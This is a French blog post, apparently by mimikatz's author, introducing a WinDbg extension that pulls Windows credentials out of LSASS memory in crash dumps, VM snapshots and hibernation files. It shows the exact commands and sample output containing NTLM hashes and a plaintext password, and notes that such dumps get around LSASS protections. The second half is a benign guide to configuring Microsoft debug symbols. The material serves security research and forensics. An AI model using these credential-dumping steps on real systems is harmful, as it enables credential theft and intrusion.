WinDbg et l’extension de mimikatz

windbg mimikatz
mimikatz prenait déjà en charge l’extraction de hash/mot de passe depuis :

  • l’accès direct au processus LSASS
  • l’exploitation de l’image mémoire (Minidump) de LSASS

…et cela suffit à la majorité des usages.

Nouvelles sources de données

Mais le contenu mémoire de LSASS est aussi « disponible » via d’autres sources

  • états mémoire de machines virtuelles (fichiers .vmem, …)
  • fichiers d’hibernation, de mise en veille prolongée (fichiers hiberfil.sys)
  • les crashdump noyau complets (fichiers .dmp)

En dehors de mimikatz ?

Ces sources de données ne peuvent êtres traitées directement dans mimikatz pour plusieurs raisons :

  • il est complexe (mais possible) de créer un traducteur d’adresse virtuelle en adresse physique pour tous les modes d’adressage (surtout avec les particularités Microsoft)
  • le gestionnaire mémoire de Windows ne peut garantir à un instant T que le contenu de certaines zones mémoire virtuelle est réellement en mémoire physique

Ces deux problématiques empêchaient, lors de certains essais, mimikatz de fonctionner par « pattern matching » sur un contenu de mémoire physique.

Ne voulant pas implémenter dans mimikatz une « table d’offsets » pour toutes les versions de fichiers (lsasrv, wdigest, kerberos, tspkg, livessp, msv1_0, …), ou télécharger à la volée les symboles de déboguage nécessaires, une solution plus élégante devait être imaginée…

Extensions WinDbg

Un outil est particulièrement adapté à la lecture de dump mémoire (au format « crashdump ») et à la manipulation de symboles, il s’agit de WinDbg (http://blog.gentilkiwi.com/programmes/windbg)

Les fichiers de mise en veille prolongée, ou d’états mémoire, peuvent être convertis au format « crashdump » par des outils tel que MoonSols Windows Memory Toolkit ou Volatility

Exemples de conversions avec MoonSols Windows Memory Toolkit

  • Etat mémoire VMware vers « crashdump » :
    bin2dmp 564d1ef7-40ef-bdd6-128c-df37cfdb74a4.vmem vmware.dmp
  • Fichier de mise en veille prolongée vers « crashdump » :
    hibr2dmp hiberfil.sys hiberfil.dmp

Utilisation de l’extension

La librairie mimilib.dll a été étendue afin de devenir une extension WinDbg, qu’il suffit de charger après ouverture du crashdump (1).
Il convient de se placer dans le contexte du processus LSASS (2) et (3) avant de lancer la commande !mimikatz (4).

  1. .load c:\security\mimikatz\win32\mimilib.dll
  2. !process 0 0 lsass.exe
  3. .process /r /p
  4. !mimikatz
16.0: kd> .load c:\security\mimikatz\win32\mimilib.dll

  .#####.   mimikatz 2.0 alpha (x86) release "Kiwi en C" (Nov 24 2013 21:22:38)
 .## ^ ##.  Windows build 7601
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz
  '#####'                                  WinDBG extension ! * * */

===================================
#         * Kernel mode *         #
===================================
# Search for LSASS process
0: kd> !process 0 0 lsass.exe
# Then switch to its context
0: kd> .process /r /p <EPROCESS address>
# And finally :
0: kd> !mimikatz
===================================
#          * User mode *          #
===================================
0:000> !mimikatz
===================================

16.0: kd> !process 0 0 lsass.exe
PROCESS 86697030  SessionId: 0  Cid: 0240    Peb: 7ffdf000  ParentCid: 01cc
    DirBase: 7ed54080  ObjectTable: 992ad078  HandleCount: 501.
    Image: lsass.exe

16.0: kd> .process /r /p 86697030
Implicit process is now 86697030
Loading User Symbols
..........................................................
16.0: kd> !mimikatz

Authentication Id : 0 ; 239956 (00000000:0003a954)
Session           : Interactive from 1
User Name         : Gentil Kiwi
Domain            : vm-w7-ult
	msv : 
	 [00000003] Primary
	 * Username : Gentil Kiwi
	 * Domain   : vm-w7-ult
	 * LM       : d0e9aee149655a6075e4540af1f22d3b
	 * NTLM     : cc36cf7a8514893efccd332446158b1a
	tspkg : 
	 * Username : Gentil Kiwi
	 * Domain   : vm-w7-ult
	 * Password : waza1234/
	wdigest : 
	 * Username : Gentil Kiwi
	 * Domain   : vm-w7-ult
	 * Password : waza1234/
	kerberos : 
	 * Username : Gentil Kiwi
	 * Domain   : vm-w7-ult
	 * Password : waza1234/
	ssp : 

Téléchargement

La version alpha prenant en charge ces améliorations est disponible : http://blog.gentilkiwi.com/mimikatz

Bonus

  • la commande !mimikatz peut directement être utilisée sur un minidump du processus LSASS
  • les dumps mémoires complets via livekd, dumpit, la mise en veille prolongée ou encore la capture du fichier mémoire de VMware contournent très bien les protections Windows du processus LSASS

Limitations

  • seules les images mémoire de NT6 sont prises en charge (je n’ai pas codé pour cibler NT5)
  • bien qu’il soit normalement possible d’utiliser les extensions WinDbg indépendamment de l’architecture ciblée :
    • les images mémoire x64 doivent être déboguées sous WinDbg x64, avec la librairie mimilib.dll x64
    • les images mémoire x86 doivent être déboguées sous WinDbg x86, avec la librairie mimilib.dll x86

Il est donc plus souple d’utiliser Windows 7 x64 avec les deux versions du débogueur (x86 & x64)

Symboles Microsoft

pour WinDBG, IDA, Process Explorer, …
Parce que WinDBG seul ne suffit pas, un petit HowTo rapide sur les symboles Microsoft

Les symboles de débogage Microsoft

Microsoft n’est pas avare d’informations, une grande partie des symboles de leurs binaires (exécutables, librairies, pilotes, …) est disponible publiquement !

Cela permet, entre autre, de connaître des noms de fonctions internes, de variables globales, structures, … tout ce que Microsoft accepte que nous connaissions.
Bien que ces informations soient épurées, il n’en reste pas moins quelques pépites.

void __stdcall TSRevealPassword(struct _UNICODE_STRING *)
void __stdcall KerbRevealPassword(struct _UNICODE_STRING *)

Il serait dommage de s’en priver.

Pour cela, les outils présentés dans ce post, utilisent a minima :

  • dbghelp.dll pour manipuler les symboles
  • symsrv.dll pour récupérer les symboles
  • une configuration indiquant le référentiel de symboles
    • au niveau global via _NT_SYMBOL_PATH

Les dernières versions de ces librairies sont installées par WinDBG.

Considérations sur la configuration proposée

  • L’utilisation courante des symboles occupe de l’espace disque
  • Si plusieurs postes doivent déboguer, il est préférable d’utiliser un référentiel intermédiaire afin de ne pas récupérer plusieurs fois les mêmes informations
  • Les utilisateurs doivent pouvoir écrire a minima dans le référentiel final, l’écriture dans l’intermédiaire permet de l’alimenter depuis les utilisations de chacun

Configuration

La configuration proposée est la suivante :

_NT_SYMBOL_PATH = srv*c:\symbols*http://msdl.microsoft.com/download/symbols

A chaque besoin d’un symbole, le référentiel c:\symbols est inspecté.

  • si le symbole y figure, celui-ci est utilisé
  • si le symbole n’y figure pas, le référentiel http://msdl.microsoft.com/download/symbols est utilisé
    Le symbole est ensuite copié dans le référentiel c:\symbols pour éviter de le re-télécharger

Il faut ajouter une nouvelle variable d’environnement système (ou utilisateur) :
sysvardbg

Si un référentiel intermédiaire doit être utilisé :

_NT_SYMBOL_PATH = srv*c:\symbols*\\litchinanas.nirvana.local\programmation\symbols*http://msdl.microsoft.com/download/symbols

Si les droits le permettent, http://msdl.microsoft.com/download/symbols alimente \\litchinanas.nirvana.local\programmation\symbols qui alimente c:\symbols

Les informations sur la définition de cette variable sont disponibles ici : http://msdn.microsoft.com/library/windows/hardware/ff537994.aspx

WinDBG – le prérequis

A l’heure actuelle, la dernière version x86 est disponible ici : http://blog.gentilkiwi.com/retro-ingenierie/windbg-6-2-9200-16384
Une fois installées, les librairies essentielles au fonctionnement des symboles se trouveront dans : C:\Program Files\Windows Kits\8.0\Debuggers\x86 (ou équivalent sous x64).

Utilisation SANS les symboles

mov     dword ptr [notepad+0xc1e4 (001ec1e4)],offset notepad+0x739b (001e739b)
call    dword ptr [notepad+0x1354 (001e1354)]
push    eax
call    notepad+0x77f3 (001e77f3)

Utilisation AVEC les symboles

mov     dword ptr [notepad!OFN+0x44 (001ec1e4)],offset notepad!NpOpenDialogHookProc (001e739b)
call    dword ptr [notepad!_imp__GetOpenFileNameW (001e1354)]
push    eax
call    notepad!_LegacyFileDialogToHR (001e77f3)

N’est-ce pas plus compréhensible ?

Process Explorer & Process Monitor

Certains affichages de Process Explorer et Process Monitor peuvent eux aussi facilement bénéficier de l’aide de symboles.

Via Options / Configure Symbols... :
pesmb
(l’option ‘Symbols Path’ est inutile quand la variable d’environnement _NT_SYMBOL_PATH est renseignée)

Sinon en console :

reg add "HKCU\Software\Sysinternals\Process Explorer" /v DbgHelpPath /t REG_SZ /d "C:\Program Files\Windows Kits\8.0\Debuggers\x86\dbghelp.dll" /f
reg add "HKCU\Software\Sysinternals\Process Explorer" /v SymbolPath  /t REG_SZ /f
reg add "HKCU\Software\Sysinternals\Process Monitor"  /v DbgHelpPath /t REG_SZ /d "C:\Program Files\Windows Kits\8.0\Debuggers\x86\dbghelp.dll" /f
reg add "HKCU\Software\Sysinternals\Process Monitor"  /v SymbolPath  /t REG_SZ /f

Utilisation SANS les symboles

penosym

Utilisation AVEC les symboles

pesym
pcstack

IDA

Dans certains cas, IDA n’arrive pas à se débrouiller avec ses propres librairies. Quelques manipulations peuvent largement l’aider…

  1. Supprimer du répertoire d’IDA :
    • dbghelp.dll
    • symsrv.dll
    • symsrv.yes (si présent)
  2. Recopier les fichiers suivants depuis le répertoire de WinDBG (C:\Program Files\Windows Kits\8.0\Debuggers\x86) vers celui d’IDA :
    • symsrv.dll
    • symsrv.yes
  3. Via le fichier de configuration d’IDA (cfg\ida.cfg), modifier la propriété DBGTOOLS (elle est sans doute à dé-commenter, sinon la créer) :
    DBGTOOLS = "C:\\Program Files\\Windows Kits\\8.0\\Debuggers\\x86\\";
    pratique pour piloter, par la même occasion, WinDBG depuis IDA
  4. Forcer l’utilisation des symboles si IDA a été configuré pour ne plus le demander :
    reg add "HKCU\Software\Hex-Rays\IDA\Hidden Messages" /v "IDA Pro has determined that the input file was linked with debug information  Do you want to look fo" /t REG_DWORD /d 1 /f

Utilisation SANS les symboles

idanodbg

Utilisation AVEC les symboles

idadbg